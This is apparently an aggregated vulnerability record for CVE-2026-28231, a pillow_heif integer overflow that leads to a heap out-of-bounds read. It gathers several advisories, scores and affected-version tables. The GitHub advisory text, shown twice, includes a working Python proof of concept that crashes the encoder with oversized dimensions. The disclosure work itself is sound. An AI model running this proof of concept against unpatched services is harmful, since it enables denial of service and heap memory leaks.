CVE-2026-28231
pillow_heif Has Integer Overflow in Encode Path Buffer Validation that Leads to Heap Out-of-Bounds Read
pillow_heif is a Python library for working with HEIF images and plugin for Pillow. Prior to version 1.3.0, an integer overflow in the encode path buffer validation of _pillow_heif.c allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings. Version 1.3.0 fixes the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used 5.5
pillow_heif Has Integer Overflow in Encode Path Buffer Validation that Leads to Heap Out-of-Bounds Read
pillow_heif is a Python library for working with HEIF images and plugin for Pillow. Prior to version 1.3.0, an integer overflow in the encode path buffer validation of _pillow_heif.c allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings. Version 1.3.0 fixes the issue.
- Record
CVE-2026-28231- CVSS 4.0
- 5.5 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-125, CWE-190
- Updated
- 2026-11-02
EUVDEUVD-2026-9061 5.5
pillow_heif is a Python library for working with HEIF images and plugin for Pillow. Prior to version 1.3.0, an integer overflow in the encode path buffer validation of _pillow_heif.c allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings. Version 1.3.0 fixes the issue.
- Record
EUVD-2026-9061- CVSS 4.0
- 5.5 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-5gjj-6r7v-ph3x 5.5
pillow-heif: Integer Overflow in Encode Path Buffer Validation Leads to Heap Out-of-Bounds Read
Summary
An integer overflow in the encode path buffer validation of _pillow_heif.c allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings.
Details
The buffer validation in _CtxWriteImage_add_plane(), _CtxWriteImage_add_plane_la(), and _CtxWriteImage_add_plane_l() uses 32-bit int multiplication to check whether the input buffer is large enough:
// _pillow_heif.c, lines 158, 344, 449
if (stride_in * height > buffer.len) {
PyBuffer_Release(&buffer);
PyErr_SetString(PyExc_ValueError, "image plane does not contain enough data");
return NULL;
}
Both stride_in and height are declared as int (32-bit signed). When their product exceeds INT_MAX (2,147,483,647), the multiplication overflows before the comparison with buffer.len (which is Py_ssize_t, 64-bit). The overflowed value wraps to zero or a negative number, causing the bounds check to pass incorrectly.
For example, with stride_in = 196608 (65536 × 3 for RGB) and height = 65536:
- True product: 12,884,901,888
int32product: 0 (wraps around)- Comparison:
0 > buffer.len→false→ check bypassed
After the check is bypassed, the subsequent loop reads beyond the input buffer:
for (int i = 0; i < height; i++)
memcpy(out + stride_out * i, in + stride_in * i, real_stride);
Additionally, real_stride = width * n_channels (e.g., line 148: real_stride = width * 3) is also computed as int * int, which can independently overflow for large width values.
This vulnerability exists in the encode path, which is distinct from the decode path:
- The decode path is partially guarded by libheif's built-in security limits
- The encode path has no such guards —
DISABLE_SECURITY_LIMITSis irrelevant - The encode path is reachable whenever an application calls
pillow_heif.encode()or saves an image via Pillow withformat="HEIF"/format="AVIF"
Affected functions (all in _pillow_heif.c):
_CtxWriteImage_add_plane()— line 158_CtxWriteImage_add_plane_la()— line 344_CtxWriteImage_add_plane_l()— line 449
CWE: CWE-190 (Integer Overflow or Wraparound) → CWE-125 (Out-of-bounds Read)
PoC
Prerequisites
pip install pillow-heif Pillow
For ASAN confirmation:
# macOS (Apple Clang)
CC="cc -fsanitize=address -fno-omit-frame-pointer -g" pip install --no-binary pillow-heif pillow-heif
# Linux (GCC)
CC="gcc -fsanitize=address -fno-omit-frame-pointer -g" pip install --no-binary pillow-heif pillow-heif
Test 1: Crash without ASAN (process killed by SIGSEGV/SIGBUS)
import pillow_heif
from io import BytesIO
# width=32768, height=32768 => 1,073,741,824 pixels (within libheif security limit)
# stride_in = 32768 * 3 = 98304
# 98304 * 32768 = 3,221,225,472 > INT_MAX (2,147,483,647)
# int32 overflow: wraps to -1,073,741,824
# Bounds check: -1,073,741,824 > 1,048,576 → False → BYPASSED
width = 32768
height = 32768
buffer = b"\x00" * (1024 * 1024) # 1 MB (real need: ~3 GB)
buf = BytesIO()
try:
pillow_heif.encode("RGB", (width, height), buffer, buf, quality=-1)
print("[!] encode() succeeded — bounds check was bypassed")
except MemoryError as e:
print(f"[*] MemoryError (libheif caught it later): {e}")
print("[*] int32 overflow occurred — C-level bounds check was bypassed")
except ValueError as e:
print(f"[-] ValueError (bounds check worked): {e}")
Without ASAN, this crashes the process with exit code 138 (SIGBUS) or 139 (SIGSEGV).
Test 2: Explicit stride — small image, immediate crash
import pillow_heif
from io import BytesIO
# 100x100 pixels — well within any security limit
# stride=INT_MAX…
- Record
GHSA-5gjj-6r7v-ph3x- CVSS 4.0
- 5.5 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-125
- Updated
- 2026-11-02
NVD 5.5
pillow_heif is a Python library for working with HEIF images and plugin for Pillow. Prior to version 1.3.0, an integer overflow in the encode path buffer validation of _pillow_heif.c allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings. Version 1.3.0 fixes the issue.
- Record
CVE-2026-28231- CVSS 4.0
- 5.5 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H - Weakness
- CWE-125, CWE-190
- Updated
- 2026-11-02
OSV 5.5
pillow_heif Has Integer Overflow in Encode Path Buffer Validation that Leads to Heap Out-of-Bounds Read
pillow_heif is a Python library for working with HEIF images and plugin for Pillow. Prior to version 1.3.0, an integer overflow in the encode path buffer validation of _pillow_heif.c allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings. Version 1.3.0 fixes the issue.
- Record
CVE-2026-28231- CVSS 4.0
- 5.5 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-125, CWE-190
- Updated
- 2026-11-11
OSVGHSA-5gjj-6r7v-ph3x 5.5
pillow-heif: Integer Overflow in Encode Path Buffer Validation Leads to Heap Out-of-Bounds Read
Summary
An integer overflow in the encode path buffer validation of _pillow_heif.c allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings.
Details
The buffer validation in _CtxWriteImage_add_plane(), _CtxWriteImage_add_plane_la(), and _CtxWriteImage_add_plane_l() uses 32-bit int multiplication to check whether the input buffer is large enough:
// _pillow_heif.c, lines 158, 344, 449
if (stride_in * height > buffer.len) {
PyBuffer_Release(&buffer);
PyErr_SetString(PyExc_ValueError, "image plane does not contain enough data");
return NULL;
}
Both stride_in and height are declared as int (32-bit signed). When their product exceeds INT_MAX (2,147,483,647), the multiplication overflows before the comparison with buffer.len (which is Py_ssize_t, 64-bit). The overflowed value wraps to zero or a negative number, causing the bounds check to pass incorrectly.
For example, with stride_in = 196608 (65536 × 3 for RGB) and height = 65536:
- True product: 12,884,901,888
int32product: 0 (wraps around)- Comparison:
0 > buffer.len→false→ check bypassed
After the check is bypassed, the subsequent loop reads beyond the input buffer:
for (int i = 0; i < height; i++)
memcpy(out + stride_out * i, in + stride_in * i, real_stride);
Additionally, real_stride = width * n_channels (e.g., line 148: real_stride = width * 3) is also computed as int * int, which can independently overflow for large width values.
This vulnerability exists in the encode path, which is distinct from the decode path:
- The decode path is partially guarded by libheif's built-in security limits
- The encode path has no such guards —
DISABLE_SECURITY_LIMITSis irrelevant - The encode path is reachable whenever an application calls
pillow_heif.encode()or saves an image via Pillow withformat="HEIF"/format="AVIF"
Affected functions (all in _pillow_heif.c):
_CtxWriteImage_add_plane()— line 158_CtxWriteImage_add_plane_la()— line 344_CtxWriteImage_add_plane_l()— line 449
CWE: CWE-190 (Integer Overflow or Wraparound) → CWE-125 (Out-of-bounds Read)
PoC
Prerequisites
pip install pillow-heif Pillow
For ASAN confirmation:
# macOS (Apple Clang)
CC="cc -fsanitize=address -fno-omit-frame-pointer -g" pip install --no-binary pillow-heif pillow-heif
# Linux (GCC)
CC="gcc -fsanitize=address -fno-omit-frame-pointer -g" pip install --no-binary pillow-heif pillow-heif
Test 1: Crash without ASAN (process killed by SIGSEGV/SIGBUS)
import pillow_heif
from io import BytesIO
# width=32768, height=32768 => 1,073,741,824 pixels (within libheif security limit)
# stride_in = 32768 * 3 = 98304
# 98304 * 32768 = 3,221,225,472 > INT_MAX (2,147,483,647)
# int32 overflow: wraps to -1,073,741,824
# Bounds check: -1,073,741,824 > 1,048,576 → False → BYPASSED
width = 32768
height = 32768
buffer = b"\x00" * (1024 * 1024) # 1 MB (real need: ~3 GB)
buf = BytesIO()
try:
pillow_heif.encode("RGB", (width, height), buffer, buf, quality=-1)
print("[!] encode() succeeded — bounds check was bypassed")
except MemoryError as e:
print(f"[*] MemoryError (libheif caught it later): {e}")
print("[*] int32 overflow occurred — C-level bounds check was bypassed")
except ValueError as e:
print(f"[-] ValueError (bounds check worked): {e}")
Without ASAN, this crashes the process with exit code 138 (SIGBUS) or 139 (SIGSEGV).
Test 2: Explicit stride — small image, immediate crash
import pillow_heif
from io import BytesIO
# 100x100 pixels — well within any security limit
# stride=INT_MAX…
- Record
GHSA-5gjj-6r7v-ph3x- CVSS 4.0
- 5.5 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-125
- Updated
- 2026-11-02
OSVPYSEC-2026-2248 9.1
pillow_heif is a Python library for working with HEIF images and plugin for Pillow. Prior to version 1.3.0, an integer overflow in the encode path buffer validation of _pillow_heif.c allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings. Version 1.3.0 fixes the issue.
- Record
PYSEC-2026-2248- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H - Updated
- 2026-11-02
OSVPYSEC-2026-2258 9.1
pillow_heif is a Python library for working with HEIF images and plugin for Pillow. Prior to version 1.3.0, an integer overflow in the encode path buffer validation of _pillow_heif.c allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings. Version 1.3.0 fixes the issue.
- Record
PYSEC-2026-2258- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H - Updated
- 2026-11-02
OSVopenSUSE-SU-2026:10285-1No score
python311-pillow-heif-1.3.0-1.1 on GA media
These are all security issues fixed in the python311-pillow-heif-1.3.0-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:10285-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
pi-heifPyPI | before 1.3.0 | 1.3.0 |
pillow-heifPyPI | before 1.3.0 | 1.3.0 |
pi-heifPyPI | before 1.3.0, plus listed versions 0.10.00.10.10.11.00.11.10.12.0 Show 23 moreShow less0.13.00.13.10.14.00.15.00.16.00.17.00.18.00.20.00.21.00.22.00.7.00.7.10.7.20.8.00.9.00.9.10.9.20.9.31.0.01.1.01.1.11.2.01.2.1 | 1.3.0 |
pillow-heifPyPI | before 1.3.0, plus listed versions 0.1.100.1.110.1.40.1.50.10.0 Show 38 moreShow less0.10.10.11.10.12.00.13.00.13.10.14.00.15.00.16.00.17.00.18.00.2.20.2.30.2.40.2.50.20.00.21.00.22.00.3.00.3.10.3.20.4.00.5.00.5.10.6.00.6.10.7.00.7.10.7.20.8.00.9.00.9.10.9.20.9.31.0.01.1.01.1.11.2.01.2.1 | 1.3.0 |
python-pillow-heifopenSUSE:Tumbleweed | before 1.3.0-1.1 | 1.3.0-1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| facts | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-28231 is a medium vulnerability (CVSS 5.5) in Bigcat88 Pillow-heif, published February 27, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.70%, the 53rd percentile. Fixed in pi-heif 1.3.0.
References
github.com/bigcat88/pillow_heif/security/advisories/GHSA-5gjj-6r7v-ph3x
github.com/bigcat88/pillow_heif/commit/8305a15d3780c533b762578cbe987d27a2c59c7a
github.com/bigcat88/pillow_heif/releases/tag/v1.3.0
nvd.nist.gov/vuln/detail/CVE-2026-28231
github.com/pypa/advisory-database/tree/main/vulns/pi-heif/PYSEC-2026-2248.yaml
github.com/pypa/advisory-database/tree/main/vulns/pillow-heif/PYSEC-2026-2258.yaml
Left out here: the rest of 2 source descriptions. The JSON record has them.